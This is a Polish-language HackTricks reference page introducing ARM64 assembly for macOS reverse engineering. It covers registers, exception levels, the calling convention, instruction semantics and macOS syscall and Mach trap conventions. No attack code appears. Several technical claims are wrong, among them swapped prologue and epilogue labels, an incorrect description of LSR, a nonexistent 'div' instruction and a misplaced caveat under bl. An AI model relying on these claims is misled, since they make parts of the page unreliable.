hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

47 KiB

Wprowadzenie do ARM64v8

{% hint style="success" %} Dowiedz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Dowiedz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wesprzyj HackTricks
{% endhint %}

Poziomy Wyjątków - EL (ARM64v8)

W architekturze ARMv8 poziomy wykonania, znane jako Poziomy Wyjątków (ELs), definiują poziom uprzywilejowania i możliwości środowiska wykonawczego. Istnieją cztery poziomy wyjątków, od EL0 do EL3, z których każdy pełni inną funkcję:

  1. EL0 - Tryb Użytkownika:
  • Jest to najmniej uprzywilejowany poziom i służy do wykonywania zwykłego kodu aplikacji.
  • Aplikacje działające na poziomie EL0 są izolowane od siebie nawzajem i od oprogramowania systemowego, zwiększając bezpieczeństwo i stabilność.
  1. EL1 - Tryb Jądra Systemu Operacyjnego:
  • Większość jąder systemów operacyjnych działa na tym poziomie.
  • EL1 ma większe uprawnienia niż EL0 i może uzyskać dostęp do zasobów systemowych, ale z pewnymi ograniczeniami, aby zapewnić integralność systemu.
  1. EL2 - Tryb Hypervisora:
  • Ten poziom jest używany do wirtualizacji. Hypernadzorca działający na poziomie EL2 może zarządzać wieloma systemami operacyjnymi (każdy w swoim EL1) działającymi na tym samym sprzęcie fizycznym.
  • EL2 zapewnia funkcje izolacji i kontroli środowisk zewirtualizowanych.
  1. EL3 - Tryb Monitora Bezpieczeństwa:
  • Jest to najbardziej uprzywilejowany poziom i często jest używany do bezpiecznego uruchamiania i zaufanych środowisk wykonawczych.
  • EL3 może zarządzać i kontrolować dostępy między stanami bezpiecznymi i niebezpiecznymi (takimi jak bezpieczne uruchamianie, zaufany system operacyjny, itp.).

Wykorzystanie tych poziomów pozwala na strukturalne i bezpieczne zarządzanie różnymi aspektami systemu, począwszy od aplikacji użytkownika, aż po najbardziej uprzywilejowane oprogramowanie systemowe. Podejście ARMv8 do poziomów uprzywilejowania pomaga w skutecznym izolowaniu różnych komponentów systemu, zwiększając tym samym bezpieczeństwo i niezawodność systemu.

Rejestry (ARM64v8)

ARM64 ma 31 rejestrów ogólnego przeznaczenia, oznaczonych jako x0 do x30. Każdy może przechowywać wartość 64-bitową (8 bajtów). Dla operacji wymagających tylko wartości 32-bitowych, te same rejestry można uzyskać w trybie 32-bitowym, używając nazw w0 do w30.

  1. x0 do x7 - Zazwyczaj są używane jako rejestry tymczasowe i do przekazywania parametrów do podprogramów.
  • x0 przenosi również dane zwracane przez funkcję.
  1. x8 - W jądrze Linuxa, x8 jest używany jako numer wywołania systemowego dla instrukcji svc. W macOS używany jest x16!
  2. x9 do x15 - Więcej rejestrów tymczasowych, często używanych do zmiennych lokalnych.
  3. x16 i x17 - Rejestry Wywołań Wewnątrzproceduralnych. Rejestry tymczasowe dla wartości natychmiastowych. Są one również używane do pośrednich wywołań funkcji i osłon PLT (Procedure Linkage Table).
  • x16 jest używany jako numer wywołania systemowego dla instrukcji svc w macOS.
  1. x18 - Rejestr platformy. Może być używany jako rejestr ogólnego przeznaczenia, ale na niektórych platformach ten rejestr jest zarezerwowany dla zastosowań specyficznych dla platformy: Wskaźnik do bieżącego bloku środowiska wątków w systemie Windows lub wskaźnik do bieżącej struktury zadania wykonywanego w jądrze Linux.
  2. x19 do x28 - Są to rejestry zachowywane przez wywołanego. Funkcja musi zachować wartości tych rejestrów dla swojego wywołującego, dlatego są one przechowywane na stosie i odzyskiwane przed powrotem do wywołującego.
  3. x29 - Wskaźnik ramki do śledzenia ramki stosu. Gdy tworzona jest nowa ramka stosu, ponieważ wywoływana jest funkcja, rejestr x29 jest przechowywany na stosie a nowy adres wskaźnika ramki (adres sp) jest przechowywany w tym rejestrze.
  • Ten rejestr może również być używany jako rejestr ogólnego przeznaczenia, chociaż zazwyczaj jest używany jako odniesienie do zmiennych lokalnych.
  1. x30 lub lr - Rejestr łącza. Przechowuje adres powrotu, gdy instrukcja BL (Branch with Link) lub BLR (Branch with Link to Register) jest wykonywana przez przechowywanie wartości pc w tym rejestrze.
  • Może być również używany jak każdy inny rejestr.
  • Jeśli bieżąca funkcja ma wywołać nową funkcję i tym samym nadpisać lr, zostanie ona przechowana na stosie na początku, jest to epilog (stp x29, x30 , [sp, #-48]; mov x29, sp -> Przechowaj fp i lr, wygeneruj miejsce i uzyskaj nowy fp) i odzyskana na końcu, jest to prolog (ldp x29, x30, [sp], #48; ret -> Odzyskaj fp i lr i zwróć).
  1. sp - Wskaźnik stosu, używany do śledzenia góry stosu.
  • wartość sp powinna zawsze być utrzymywana co najmniej w wyrównaniu kwadratowym lub może wystąpić wyjątek wyrównania.
  1. pc - Licznik programu, który wskazuje na następną instrukcję. Ten rejestr może być aktualizowany tylko poprzez generowanie wyjątków, zwracanie wyjątków i skoki. Jedynymi zwykłymi instrukcjami, które mogą odczytać ten rejestr, są instrukcje skoku z linkiem (BL, BLR) do przechowywania adresu pc w rejestrze lr (Rejestr łącza).
  2. xzr - Rejestr zerowy. Nazywany również wzr w swojej formie rejestru 32-bitowego. Może być używany do łatwego uzyskania wartości zerowej (częsta operacja) lub do wykonywania porównań za pomocą subs jak subs XZR, Xn, #10 przechowując wynikowe dane nigdzie (w xzr).

Rejestry Wn to wersja 32-bitowa rejestru Xn.

Rejestry SIMD i Zmiennoprzecinkowe

Ponadto istnieje kolejnych 32 rejestry o długości 128 bitów, które można używać w zoptymalizowanych operacjach jednoczesnego przetwarzania wielu danych (SIMD) i do wykonywania arytmetyki zmiennoprzecinkowej. Są one nazywane rejestrami Vn, chociaż mogą również działać w trybie 64-bitowym, 32-bitowym, 16-bitowym i 8-bitowym, a wtedy są nazywane Qn, Dn, Sn, Hn i Bn.

Rejestry systemowe

Istnieje setki rejestrów systemowych, zwanych również rejestrami specjalnego przeznaczenia (SPR), które są używane do monitorowania i kontroli zachowania procesorów.
Mogą być odczytywane lub ustawiane tylko za pomocą dedykowanej specjalnej instrukcji mrs i msr.

Specjalne rejestry TPIDR_EL0 i TPIDDR_EL0 są często spotykane podczas odwracania inżynieryjnego. Przyrostek EL0 wskazuje na minimalny wyjątek, z którego można uzyskać dostęp do rejestru (w tym przypadku EL0 to zwykły poziom wyjątku (uprzywilejowanie), z którym uruchamiane są zwykłe programy).
Są one często używane do przechowywania bazowego adresu obszaru pamięci lokalnej wątku. Zazwyczaj pierwszy jest czytelny i zapisywalny dla programów działających w EL0, ale drugi może być odczytywany z EL0 i zapisywany z EL1 (jak jądro).

  • mrs x0, TPIDR_EL0 ; Odczytaj TPIDR_EL0 do x0
  • msr TPIDR_EL0, X0 ; Zapisz x0 do TPIDR_EL0

PSTATE

PSTATE zawiera kilka składowych procesu zserializowanych do widocznego w systemie operacyjnym specjalnego rejestru SPSR_ELx, gdzie X to poziom uprawnień wywołanego wyjątku (umożliwia to przywrócenie stanu procesu po zakończeniu wyjątku).
Oto dostępne pola:

  • Flagi warunkowe N, Z, C i V:
  • N oznacza, że operacja dała wynik ujemny
  • Z oznacza, że operacja dała wynik zero
  • C oznacza, że operacja została przeprowadzona
  • V oznacza, że operacja dała wynik przekroczenia z zakresem:
  • Suma dwóch liczb dodatnich daje wynik ujemny.
  • Suma dwóch liczb ujemnych daje wynik dodatni.
  • W odejmowaniu, gdy od mniejszej liczby dodatniej odejmowana jest większa liczba ujemna (lub odwrotnie), i wynik nie może być reprezentowany w zakresie podanej wielkości bitowej.
  • Oczywiście procesor nie wie, czy operacja jest znakowana czy nie, więc sprawdzi C i V w operacjach i wskaże, czy wystąpił przeniesienie w przypadku, gdy była znakowana lub nieznakowana.

{% hint style="warning" %} Nie wszystkie instrukcje aktualizują te flagi. Niektóre, takie jak CMP lub TST, robią to, a inne, które mają przyrostek s, jak ADDS, również to robią. {% endhint %}

  • Bieżąca flaga szerokości rejestru (nRW): Jeśli flaga ma wartość 0, program będzie działał w stanie wykonania AArch64 po wznowieniu.
  • Bieżący Poziom Wyjątku (EL): Zwykły program działający w EL0 będzie miał wartość 0
  • Flagi jednokrokowego wykonywania (SS): Używane przez debugery do jednokrokowego wykonywania poprzez ustawienie flagi SS na 1 wewnątrz SPSR_ELx poprzez wyjątek. Program wykona krok i wywoła wyjątek jednokrokowy.
  • Flagi stanu nielegalnego wyjątku (IL): Służy do oznaczania, kiedy uprzywilejowane oprogramowanie wykonuje nieprawidłowy transfer poziomu wyjątku, ta flaga jest ustawiana na 1, a procesor wywołuje wyjątek stanu nielegalnego.
  • Flagi DAIF: Te flagi pozwalają uprzywilejowanemu programowi selektywnie maskować pewne zewnętrzne wyjątki.
  • Jeśli A wynosi 1, oznacza to, że zostaną wywołane przerwania asynchroniczne. I konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ), a F jest związane z szybkimi żądaniami przerwań (FIR).
  • Flagi wyboru wskaźnika stosu (SPS): Uprzywilejowane programy działające w EL1 i wyżej mogą przełączać się między używaniem własnego rejestru wskaźnika stosu a rejestru modelu użytkownika (np. między SP_EL1 a EL0). To przełączanie jest wykonywane poprzez zapisanie do specjalnego rejestru SPSel. Nie można tego zrobić z EL0.

Konwencja wywoływania (ARM64v8)

Konwencja wywoływania ARM64 określa, że pierwsze osiem parametrów funkcji jest przekazywane w rejestrach x0 do x7. Dodatkowe parametry są przekazywane na stosie. Wartość zwracana jest przekazywana z powrotem w rejestrze x0, lub również w x1 jeśli jest długa na 128 bitów. Rejestry x19 do x30 oraz sp muszą być zachowane między wywołaniami funkcji.

Podczas czytania funkcji w asemblerze, należy szukać prologu i epilogu funkcji. Prolog zazwyczaj obejmuje zapisanie wskaźnika ramki (x29), ustawienie nowego wskaźnika ramki oraz przydzielanie miejsca na stosie. Epilog zazwyczaj obejmuje przywrócenie zapisanego wskaźnika ramki i powrót z funkcji.

Konwencja wywoływania w Swift

Swift ma swoją własną konwencję wywoływania, którą można znaleźć pod adresem https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Powszechne instrukcje (ARM64v8)

Instrukcje ARM64 mają ogólnie format opcode dst, src1, src2, gdzie opcode to operacja do wykonania (takie jak add, sub, mov, itp.), dst to rejestr docelowy, w którym zostanie przechowany wynik, a src1 i src2 to rejestry źródłowe. Wartości natychmiastowe mogą również być używane zamiast rejestrów źródłowych.

  • mov: Przenieś wartość z jednego rejestru do drugiego.
  • Przykład: mov x0, x1 — To przenosi wartość z x1 do x0.
  • ldr: Załaduj wartość z pamięci do rejestru.
  • Przykład: ldr x0, [x1] — To ładuje wartość z lokalizacji pamięci wskazywanej przez x1 do x0.
  • Tryb z przesunięciem: Wskazuje przesunięcie wpływające na wskaźnik oryginału, na przykład:
  • ldr x2, [x1, #8], to załaduje do x2 wartość z x1 + 8
  • ldr x2, [x0, x1, lsl #2], to załaduje do x2 obiekt z tablicy x0, z pozycji x1 (indeks) * 4
  • Tryb z wstępnym indeksowaniem: To zastosuje obliczenia do oryginału, uzyska wynik i przechowa nowy oryginał w oryginale.
  • ldr x2, [x1, #8]!, to załaduje x1 + 8 do x2 i przechowa w x1 wynik x1 + 8
  • str lr, [sp, #-4]!, Przechowuje rejestr łącza w sp i aktualizuje rejestr sp
  • Tryb z indeksowaniem po wykonaniu: Jest podobny do poprzedniego, ale adres pamięci jest dostępny, a następnie obliczane i przechowywane jest przesunięcie.
  • ldr x0, [x1], #8, załaduj x1 do x0 i zaktualizuj x1 na x1 + 8
  • Adresowanie względem PC: W tym przypadku adres do załadowania jest obliczany względem rejestru PC
  • ldr x1, =_start, To załaduje adres, w którym zaczyna się symbol _start w x1 względem bieżącego PC.
  • str: Zapisz wartość z rejestru do pamięci.
  • Przykład: str x0, [x1] — To zapisuje wartość z x0 do lokalizacji pamięci wskazywanej przez x1.
  • ldp: Załaduj parę rejestrów. Ta instrukcja ładuje dwa rejestry z kolejnych lokalizacji pamięci. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
  • Przykład: ldp x0, x1, [x2] — To ładuje x0 i x1 z lokalizacji pamięci w x2 i x2 + 8, odpowiednio.
  • stp: Zapisz parę rejestrów. Ta instrukcja zapisuje dwa rejestry do kolejnych lokalizacji pamięci. Adres pamięci jest zazwyczaj tworzony przez dodanie przesunięcia do wartości w innym rejestrze.
  • Przykład: stp x0, x1, [sp] — To zapisuje x0 i x1 do lokalizacji pamięci w sp i sp + 8, odpowiednio.
  • stp x0, x1, [sp, #16]! — To zapisuje x0 i x1 do lokalizacji pamięci w sp+16 i sp + 24, odpowiednio, i aktualizuje sp na sp+16.
  • add: Dodaj wartości dwóch rejestrów i przechowaj wynik w rejestrze.
  • Składnia: add(s) Xn1, Xn2, Xn3 | #imm, [przesunięcie #N | RRX]
  • Xn1 -> Cel
  • Xn2 -> Operand 1
  • Xn3 | #imm -> Operand 2 (rejestr lub natychmiastowy)
  • [przesunięcie #N | RRX] -> Wykonaj przesunięcie lub wywołaj RRX
  • Przykład: add x0, x1, x2 — Dodaje wartości w x1 i x2 i przechowuje wynik w x0.
  • add x5, x5, #1, lsl #12 — To równa się 4096 (1 przesunięte 12 razy) -> 1 0000 0000 0000 0000
  • adds Wykonuje operację add i aktualizuje flagi
  • sub: Odejmowanie wartości dwóch rejestrów i przechowywanie wyniku w rejestrze.
  • Sprawdź składnię add.
  • Przykład: sub x0, x1, x2 — Odejmuje wartość w x2 od x1 i przechowuje wynik w x0.
  • subs To jak sub, ale aktualizuje flagę
  • mul: Mnożenie wartości dwóch rejestrów i przechowywanie wyniku w rejestrze.
  • Przykład: mul x0, x1, x2 — Mnoży wartości w x1 i x2 i przechowuje wynik w x0.
  • div: Dzielenie wartości jednego rejestru przez drugi i przechowywanie wyniku w rejestrze.
  • Przykład: div x0, x1, x2 — Dzieli wartość w x1 przez x2 i przechowuje wynik w x0.
  • lsl, lsr, asr, ror, rrx:
  • Przesunięcie logiczne w lewo: Dodaje 0 z końca, przesuwając inne bity do przodu (mnożenie n razy przez 2)
  • Przesunięcie logiczne w prawo: Dodaje 1 z początku, przesuwając inne bity do tyłu (dzielenie n razy przez 2 w przypadku liczb bez znaku)
  • Przesunięcie arytmetyczne w prawo: Podobne do lsr, ale zamiast dodawania zer, jeśli najbardziej znaczący bit to 1, **dodawane są 1 (**dzielenie przez n razy 2 w przypadku liczb ze znakiem)
  • Obrót w prawo: Podobne do lsr, ale to, co jest usuwane z prawej strony, jest dołączane z lewej
  • Obrót w prawo z rozszerzeniem: Podobne do ror, ale z flagą przeniesienia jako "najbardziej znaczący bit". Więc flaga przeniesienia jest przenoszona do bitu 31, a usunięty bit do flagi przeniesienia.
  • bfm: Przeniesienie pola bitowego, te operacje kopiują bity 0...n z wartości i umieszczają je na pozycjach m..m+n. #s określa najbardziej lewą pozycję bitu a #r ilość przesunięcia w prawo.
  • Przeniesienie pola bitowego: BFM Xd, Xn, #r
  • Przeniesienie pola bitowego ze znakiem: SBFM Xd, Xn, #r, #s
  • Przeniesienie pola bitowego bez znaku: UBFM Xd, Xn, #r, #s
  • Wyciąganie i wstawianie pola bitowego: Kopiowanie pola bitowego z rejestru i kopiowanie go do innego rejestru.
  • BFI X1, X2, #3, #4 Wstawia 4 bity z X2 od 3. bitu X1
  • BFXIL X1, X2, #3, #4 Wyciąga z 3. bitu X2 cztery bity i kopiuje je do X1
  • SBFIZ X1, X2, #3, #4 Rozszerza znakowo 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
  • SBFX X1, X2, #3, #4 Wyciąga 4 bity zaczynając od bitu 3 z X2, rozszerza znakowo i umieszcza wynik w X1
  • UBFIZ X1, X2, #3, #4 Rozszerza zerami 4 bity z X2 i wstawia je do X1 zaczynając od pozycji bitu 3, zerując prawe bity
  • UBFX X1, X2, #3, #4 Wyciąga 4 bity zaczynając od bitu 3 z X2 i umieszcza wynik zerowo rozszerzony w X1.
  • Rozszerzanie znaku do X: Rozszerza znak (lub dodaje tylko zera w wersji bez znaku) wartości, aby można było wykonywać na niej operacje:
  • SXTB X1, W2 Rozszerza znak bajtu z W2 do X1 (W2 to połowa X2) wypełniając 64 bity
  • SXTH X1, W2 Rozszerza znak 16-bitowej liczby z W2 do X1 wypełniając 64 bity
  • SXTW X1, W2 Rozszerza znak bajtu z W2 do X1 wypełniając 64 bity
  • UXTB X1, W2 Dodaje zera (bez znaku) do bajtu z W2 do X1 wypełniając 64 bity
  • extr: Wyciąga bity z określonej pary złączonych rejestrów.
  • Przykład: EXTR W3, W2, W1, #3 To połączy W1+W2 i pobierze od bitu 3 z W2 do bitu 3 z W1 i przechowa w W3.
  • cmp: Porównuje dwa rejestry i ustawia flagi warunkowe. Jest to alias subs ustawiający rejestr docelowy na zerowy rejestr. Przydatne do sprawdzenia, czy m == n.
  • Obsługuje tę samą składnię co subs
  • Przykład: cmp x0, x1 — Porównuje wartości w x0 i x1 i ustawia flagi warunkowe odpowiednio.
  • cmn: Porównaj ujemne operandy. W tym przypadku jest to alias adds i obsługuje tę samą składnię. Przydatne do sprawdzenia, czy m == -n.
  • ccmp: Porównanie warunkowe, to porównanie, które zostanie wykonane tylko wtedy, gdy poprzednie porównanie było prawdziwe, i będzie specjalnie ustawiać bity nzcv.
  • cmp x1, x2; ccmp x3, x4, 0, NE; blt _func -> jeśli x1 != x2 i x3 < x4, skocz do funkcji
  • Dzieje się tak, ponieważ ccmp zostanie wykonane tylko wtedy, gdy poprzednie cmp było NE, jeśli nie, bity nzcv zostaną ustawione na 0 (co nie spełni warunku blt).
  • Można go również używać jako ccmn (to samo, ale ujemne, jak cmp vs cmn).
  • tst: Sprawdza, czy któreś z wartości porównania jest równe 1 (działa jak i ANDS bez przechowywania wyniku). Przydatne do sprawdzenia rejestru z wartością i sprawdzenia, czy którykolwiek z bitów rejestru wskazanego w wartości jest równy 1.
  • Przykład: tst X1, #7 Sprawdza, czy którykolwiek z ostatnich 3 bitów X1 jest równy 1
  • teq: Operacja XOR, odrzucająca wynik
  • b: Bezwarunkowy skok
  • Przykład: b myFunction
  • Należy zauważyć, że nie wypełni to rejestru linku adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
  • bl: Skok z linkiem, używany do wywołania podprogramu. Przechowuje adres powrotu w x30.
  • Przykład: bl myFunction — To wywołuje funkcję myFunction i przechowuje adres powrotu w x30.
  • Należy zauważyć, że nie wypełni to rejestru linku adresem powrotu (nieodpowiednie do wywołań podprogramów, które muszą wrócić)
  • blr: Skok z linkiem do rejestru, używany do wywołania podprogramu, gdzie cel jest określony w rejestrze. Przechowuje adres powrotu w x30. (To jest
  • Przykład: blr x1 — To wywołuje funkcję, której adres jest zawarty w x1 i przechowuje adres powrotu w x30.
  • ret: Powrót z podprogramu, zwykle używając adresu w x30.
  • Przykład: ret — To powraca z bieżącego podprogramu, używając adresu powrotu z x30.
  • b.<cond>: Warunkowe skoki
  • b.eq: Skok jeśli równy, na podstawie poprzedniej instrukcji cmp.
  • Przykład: b.eq label — Jeśli poprzednia instrukcja cmp znalazła dwie równe wartości, to skacze do label.
  • b.ne: Branch if Not Equal. Ta instrukcja sprawdza flagi warunkowe (które zostały ustawione przez poprzednią instrukcję porównania) i jeśli porównywane wartości nie były równe, skacze do etykiety lub adresu.
  • Przykład: Po instrukcji cmp x0, x1, b.ne label — Jeśli wartości w x0 i x1 nie były równe, następuje skok do label.
  • cbz: Porównaj i Skocz jeśli Zero. Ta instrukcja porównuje rejestr z zerem i jeśli są równe, skacze do etykiety lub adresu.
  • Przykład: cbz x0, label — Jeśli wartość w x0 wynosi zero, następuje skok do label.
  • cbnz: Porównaj i Skocz jeśli Nie-Zero. Ta instrukcja porównuje rejestr z zerem i jeśli nie są równe, skacze do etykiety lub adresu.
  • Przykład: cbnz x0, label — Jeśli wartość w x0 jest niezerowa, następuje skok do label.
  • tbnz: Testuj bit i skacz jeśli niezerowy
  • Przykład: tbnz x0, #8, label
  • tbz: Testuj bit i skacz jeśli zero
  • Przykład: tbz x0, #8, label
  • Operacje wyboru warunkowego: Są to operacje, których zachowanie zależy od bitów warunkowych.
  • csel Xd, Xn, Xm, cond -> csel X0, X1, X2, EQ -> Jeśli prawda, X0 = X1, jeśli fałsz, X0 = X2
  • csinc Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = Xm + 1
  • cinc Xd, Xn, cond -> Jeśli prawda, Xd = Xn + 1, jeśli fałsz, Xd = Xn
  • csinv Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = NOT(Xm)
  • cinv Xd, Xn, cond -> Jeśli prawda, Xd = NOT(Xn), jeśli fałsz, Xd = Xn
  • csneg Xd, Xn, Xm, cond -> Jeśli prawda, Xd = Xn, jeśli fałsz, Xd = - Xm
  • cneg Xd, Xn, cond -> Jeśli prawda, Xd = - Xn, jeśli fałsz, Xd = Xn
  • cset Xd, Xn, Xm, cond -> Jeśli prawda, Xd = 1, jeśli fałsz, Xd = 0
  • csetm Xd, Xn, Xm, cond -> Jeśli prawda, Xd = <wszystkie 1>, jeśli fałsz, Xd = 0
  • adrp: Oblicz adres strony symbolu i zapisz go w rejestrze.
  • Przykład: adrp x0, symbol — To oblicza adres strony symbolu i zapisuje go w x0.
  • ldrsw: Załaduj podpisaną wartość 32-bitową z pamięci i rozszerz ją do 64 bitów.
  • Przykład: ldrsw x0, [x1] — To ładuje podpisaną wartość 32-bitową z lokalizacji pamięci wskazywanej przez x1, rozszerza ją do 64 bitów i zapisuje w x0.
  • stur: Zapisz wartość rejestru do lokalizacji pamięci, używając przesunięcia od innego rejestru.
  • Przykład: stur x0, [x1, #4] — To zapisuje wartość z x0 do lokalizacji pamięci, która jest o 4 bajty większa niż adres aktualnie w x1.
  • svc : Wykonaj wywołanie systemowe. Oznacza "Supervisor Call". Gdy procesor wykonuje tę instrukcję, przełącza się z trybu użytkownika na tryb jądra i skacze do określonej lokalizacji w pamięci, gdzie znajduje się kod obsługi wywołania systemowego jądra.
  • Przykład:
mov x8, 93  ; Załaduj numer wywołania systemowego dla wyjścia (93) do rejestru x8.
mov x0, 0   ; Załaduj kod stanu wyjścia (0) do rejestru x0.
svc 0       ; Wykonaj wywołanie systemowe.

Prolog Funkcji

  1. Zapisz rejestr linku i wskaźnik ramki na stosie:

{% code overflow="wrap" %}

stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer

{% endcode %}

  1. Ustaw nowy wskaźnik ramki: mov x29, sp (ustawia nowy wskaźnik ramki dla bieżącej funkcji)
  2. Zaalokuj miejsce na stosie dla zmiennych lokalnych (jeśli jest to konieczne): sub sp, sp, <size> (gdzie <size> to liczba bajtów potrzebna)

Epilog Funkcji

  1. Zwolnij zmienne lokalne (jeśli jakiekolwiek zostały zaalokowane): add sp, sp, <size>
  2. Przywróć rejestr linku i wskaźnik ramki:

{% code overflow="wrap" %}

ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. Powrót: ret (zwraca kontrolę do wywołującego, używając adresu w rejestrze łącza)

Stan Wykonania AARCH32

Armv8-A obsługuje wykonywanie programów 32-bitowych. AArch32 może działać w jednym z dwóch zestawów instrukcji: A32 i T32 oraz może przełączać się między nimi za pomocą interworking.
Uprawnione programy 64-bitowe mogą zaplanować wykonanie programów 32-bitowych wykonując transfer poziomu wyjątku do programu o niższych uprawnieniach 32-bitowego.
Należy zauważyć, że przejście z 64-bitowego na 32-bitowe zachodzi przy niższym poziomie wyjątku (na przykład program 64-bitowy w EL1 wywołujący program w EL0). Jest to realizowane poprzez ustawienie bitu 4 rejestru specjalnego SPSR_ELx na 1 gdy wątek procesu AArch32 jest gotowy do wykonania, a reszta SPSR_ELx przechowuje stany CPSR programów AArch32. Następnie uprawniony proces wywołuje instrukcję ERET, aby procesor przełączył się na AArch32, wchodząc w A32 lub T32 w zależności od CPSR**.**

Interworking zachodzi za pomocą bitów J i T CPSR. J=0 i T=0 oznacza A32, a J=0 i T=1 oznacza T32. Oznacza to w zasadzie ustawienie najniższego bitu na 1, aby wskazać, że zestaw instrukcji to T32.
Jest to ustawiane podczas instrukcji skoku interworking, ale można to również ustawić bezpośrednio za pomocą innych instrukcji, gdy PC jest ustawiony jako rejestr docelowy. Przykład:

Kolejny przykład:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Rejestry

Istnieje 16 rejestrów 32-bitowych (r0-r15). Od r0 do r14 mogą być używane do dowolnych operacji, jednak niektóre z nich są zazwyczaj zarezerwowane:

  • r15: Licznik programu (zawsze). Zawiera adres następnej instrukcji. W A32 aktualny + 8, w T32 aktualny + 4.
  • r11: Wskaźnik ramki
  • r12: Rejestr wywołania wewnątrzproceduralnego
  • r13: Wskaźnik stosu
  • r14: Rejestr łącza

Ponadto rejestry są tworzone w rejestrach bankowych. Są to miejsca przechowujące wartości rejestrów, umożliwiające szybką zmianę kontekstu w obsłudze wyjątków i operacjach uprzywilejowanych, aby uniknąć konieczności ręcznego zapisywania i przywracania rejestrów za każdym razem.
Dzieje się to poprzez zapisanie stanu procesora z CPSR do SPSR trybu procesora, do którego jest wykonywany wyjątek. Po powrocie z wyjątku, CPSR jest przywracany z SPSR.

CPSR - Bieżący Rejestr Stanu Programu

W AArch32 CPSR działa podobnie jak PSTATE w AArch64 i jest również przechowywany w SPSR_ELx podczas obsługi wyjątku w celu późniejszego przywrócenia wykonania:

Pola są podzielone na kilka grup:

  • Rejestr Stanu Programu Aplikacji (APSR): Flagi arytmetyczne dostępne z EL0
  • Rejestry Stanu Wykonania: Zachowanie procesu (zarządzane przez system operacyjny).

Rejestr Stanu Programu Aplikacji (APSR)

  • Flagi N, Z, C, V (tak jak w AArch64)
  • Flaga Q: Jest ustawiana na 1, gdy występuje nasycenie liczb całkowitych podczas wykonywania specjalnej instrukcji arytmetyki nasycającej. Gdy raz zostanie ustawiona na 1, zachowa wartość do momentu ręcznego ustawienia na 0. Ponadto nie ma żadnej instrukcji, która sprawdzałaby jej wartość w sposób domyślny, należy odczytać ją ręcznie.
  • GE (Większe lub równe) Flagi: Są używane w operacjach SIMD (Single Instruction, Multiple Data), takich jak "dodawanie równoległe" i "odejmowanie równoległe". Te operacje pozwalają przetwarzać wiele punktów danych w pojedynczej instrukcji.

Na przykład instrukcja UADD8 dodaje cztery pary bajtów (z dwóch operandów 32-bitowych) równolegle i przechowuje wyniki w rejestrze 32-bitowym. Następnie ustawia flagi GE w APSR na podstawie tych wyników. Każda flaga GE odpowiada jednemu z dodawanych bajtów, wskazując, czy dodawanie dla tej pary bajtów przekroczyło zakres.

Instrukcja SEL używa tych flag GE do wykonywania działań warunkowych.

Rejestry Stanu Wykonania

  • Bity J i T: J powinno być 0, a jeśli T jest 0, używany jest zestaw instrukcji A32, a jeśli jest 1, używany jest zestaw instrukcji T32.
  • Rejestr Stanu Bloku IT (ITSTATE): Są to bity od 10-15 i 25-26. Przechowują one warunki dla instrukcji wewnątrz grupy z prefiksem IT.
  • Bit E: Wskazuje kolejność bajtów.
  • Bity Trybu i Maska Wyjątku (0-4): Określają bieżący stan wykonania. Piąty wskazuje, czy program działa jako 32-bitowy (1) czy 64-bitowy (0). Pozostałe 4 reprezentują tryb wyjątku obecnie używany (gdy występuje wyjątek i jest obsługiwany). Ustawiona liczba określa bieżący priorytet w przypadku wywołania innego wyjątku podczas obsługi tego.
  • AIF: Pewne wyjątki mogą być wyłączone za pomocą bitów A, I, F. Jeśli A wynosi 1, oznacza to, że zostaną wywołane przerwania asynchroniczne. I konfiguruje odpowiedź na zewnętrzne żądania przerwań sprzętowych (IRQ), a F dotyczy szybkich żądań przerwania (FIR).

macOS

Wywołania systemowe BSD

Sprawdź syscalls.master. Wywołania systemowe BSD będą miały x16 > 0.

Pułapki Mach

Sprawdź w syscall_sw.c mach_trap_table oraz w mach_traps.h prototypy. Maksymalna liczba pułapek Mach to MACH_TRAP_TABLE_COUNT = 128. Pułapki Mach będą miały x16 < 0, dlatego należy wywoływać numery z poprzedniej listy z użyciem znaku minus: _kernelrpc_mach_vm_allocate_trap to -10.

Możesz również sprawdzić libsystem_kernel.dylib w deasemblerze, aby dowiedzieć się, jak wywołać te (i BSD) wywołania systemowe:

{% code overflow="wrap" %}

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% endcode %}

{% hint style="success" %} Czasami łatwiej jest sprawdzić zdekompilowany kod z libsystem_kernel.dylib niż sprawdzanie kodu źródłowego, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w pliku dylib można znaleźć, co jest wywoływane. {% endhint %}

wywołania machdep

XNU obsługuje inny rodzaj wywołań zwany zależnym od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani ich liczby nie są gwarantowane, że pozostaną stałe.

strona comm

Jest to strona pamięci właściciela jądra, która jest odwzorowana w przestrzeni adresowej każdego procesu użytkownika. Ma to na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra szybciej niż przy użyciu wywołań systemowych do usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.

Na przykład wywołanie gettimeofdate odczytuje wartość timeval bezpośrednio ze strony comm.

objc_msgSend

To bardzo często spotykana funkcja używana w programach Objective-C lub Swift. Ta funkcja pozwala na wywołanie metody obiektu Objective-C.

